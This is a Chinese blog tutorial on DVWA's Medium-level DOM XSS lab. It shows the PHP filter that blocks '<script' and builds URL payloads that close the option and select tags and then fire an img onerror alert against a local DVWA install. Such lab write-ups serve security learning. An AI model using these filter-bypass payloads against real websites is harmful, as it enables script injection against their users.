DVWA-10.2 XSS (DOM)(DOM型跨站脚本攻击)-Medium

Medium Level

查看代码

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}

?>

相关函数说明

stripos(string,find,start)

返回字符串在另一字符串中第一次出现的位置(不区分大小写),如果没有找到字符串则返回 false 。

可以看到,Medium级别的代码先检查了default参数是否为空,如果不为空则将default等于获取到的default值。基于黑名单的思想,这里还使用了stripos 用于检测default值中是否有 <script (不区分大小写),如果有的话,则将 default=English 。

很明显,这里过滤了 <script  ,那么我们可以使用<img src=1 onerror=alert('xss')>绕过。

漏洞利用

我们尝试访问URL:

http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=English<img src=1 οnerrοr=alert('xss')> 

发现并没有弹出任何页面

我们查看网页源代码,发现我们的语句被插入到了value值中,但是并没有插入到option标签的值中,所以img标签并没有发起任何作用。

所以我们得先闭合前面的标签,构造链接:

http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=English</option><img src=1 onerror=alert('xss')>

发现我们的语句还是没有执行

我们查看网页源代码,发现我们的语句中还是只有 English 被插入到了option标签的值中

于是我们继续构造语句去闭合select标签

http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=English</option></select><img src=1 onerror=alert('xss')>

可以看到,我们的语句成功执行了

查看网页源代码,发现此时我们的img标签就是独立的一条语句了

 

参考:https://blog.csdn.net/qq_36119192/article/details/82932557

posted @ 2020-05-06 17:06  zhengna  阅读(463)  评论(0编辑  收藏  举报